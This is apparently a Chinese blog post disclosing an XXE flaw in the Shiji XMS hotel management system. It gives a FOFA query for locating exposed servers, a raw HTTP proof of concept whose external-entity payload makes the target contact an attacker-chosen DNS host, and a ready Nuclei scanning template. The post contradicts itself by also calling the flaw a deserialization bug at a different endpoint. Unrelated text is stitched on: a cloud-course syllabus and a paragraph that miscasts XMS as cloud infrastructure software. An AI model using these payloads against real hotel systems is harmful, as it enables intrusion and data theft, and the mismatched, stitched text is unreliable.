西软云XMS operate XXE漏洞

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

西软云XMS是基于云平台数据中心开发的支持多酒店、多语言、多平台的酒店管理系统。致力于以新一代云架构为国内四,五星级中高端酒店提供灵活、高度整合酒店业务,助力酒店智能转型升级。

西软云XMS /fox-invoker/FoxLookupInvoker接口处存在反序列化漏洞,恶意攻击者可能会利用该命令在xml中构造恶意命令,可能会导致服务器失陷或者敏感信息泄露。

Ⅱ、fofa语句

app="shiji-西软云XMS"

Ⅲ、漏洞复现

POC

POST /XopServerRS/rest/futurehotel/operate HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://your-dns"> %remote;]>

1、发送数据包,访问DNSlog

2、查看DNSlog记录

Ⅳ、Nuclei-POC

id: Xiruan-XMS-operate-XXE

info:
  name: 西软云XMS /fox-invoker/FoxLookupInvoker接口处存在反序列化漏洞,恶意攻击者可能会利用该命令在xml中构造恶意命令,可能会导致服务器失陷或者敏感信息泄露。
  author: WLF
  severity: high
  metadata: 
    fofa-query: app="shiji-西软云XMS"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /XopServerRS/rest/futurehotel/operate HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

        <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> %remote;]>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and

Ⅴ、修复建议

升级至安全版本

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第一部分 虚拟化与云计算概念 第一天(上午) 主题 基本概念 大纲 l 虚拟化概论 l 虚拟化的关键技术 l 虚拟化的业界动态 l 云计算概论 l 云计算架构 l 云计算的关键技术与挑战 l 云计算的典型厂商的技术架构介绍 第二部分 XEN/KVM虚拟化技术 第一天(下午)~第二天(上午) 主题 虚拟化技术 大纲 l Xen的原理与实现 l Xen的安装 l Xen的配置和管理工具 l 虚拟操作系统的文件存储系统 l 常见问题处理 l 试验:XEN使用 l KVM的原理与实现 l 试验:KVM使用 第三部分 开源云计算平台部署 第二天(下午)~第四天 主题 Eucalyptus云计算系统实践 大纲 l Eucalyptus平台简介 l Eucalyptus部署及管理 n ◦Installing Eucalyptus (from source and binary packages) n ◦Eucalyptus configuration n ◦Hypervisor configuration n ◦Network configuration (networking modes, multi-cluster networking) n ◦Managing Eucalyptus n ◦Advanced networking and security n ◦Auto-scaling n ◦Hybrid clouds ("cloud bursting") n ◦Troubleshooting l Eucalyptus操作 n ◦Account creation n ◦Obtaining and using credentials n ◦Instance Management: n ◦Listing, running, and terminating instances n ◦Accessing and using instances n ◦Using Elasticfox n ◦Image Management (bundling, uploading and registering images) n ◦Networking and security (allocating and associating IP addresses, security groups) n ◦Storage Management: Using block storage via the Storage Controller (creating volumes, creating snapshots, creating volumes from snapshots) n ◦Using put-get bucket storage via Walrus l 试验:部署Eucalyptus,建立私有云计算平台。 l 试验:发布镜像
西软云XMS是一个云基础设施管理系统,其反序列化是指将已经串行化(序列化)的对象数据,重新转换为内存中的对象的过程。在西软云XMS中,反序列化是一个重要的功能,可以用于数据传输、持久化存储、跨系统通信等场景。 在西软云XMS中,反序列化的过程可以通过以下步骤实现: 首先,需要将已经序列化的数据进行传输或者存储。在传输时,可以通过网络传输协议(如HTTP、TCP/IP等)将数据传输给目标对象。在存储时,可以将数据写入到文件系统、数据库等持久化存储介质中。 接下来,接收方需要将接收到的序列化数据进行反序列化处理。在西软云XMS中,可以通过提供的反序列化接口或者方法来完成这一过程。反序列化接口会将接收到的数据进行解码,并根据序列化过程中的规则和约定,将数据重新转换为原始的对象数据。 最后,反序列化的结果将被存储在内存中的对象中,可以根据需要对这些对象进行进一步的操作和处理。在西软云XMS中,反序列化后的对象可以用于系统内部的数据处理、业务逻辑的执行、状态的恢复等方面。 总的来说,西软云XMS中的反序列化是一个将已序列化数据转换为内存中对象的过程,通过网络传输或者存储介质的数据读取,再通过反序列化接口将数据解码并转换为对象。这个过程在云基础设施管理系统中起到了重要的作用,用于实现数据的跨系统通信和持久化存储等功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值